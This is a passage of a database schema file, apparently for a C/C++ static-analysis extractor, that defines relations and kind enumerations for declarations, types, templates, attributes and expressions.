`std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = 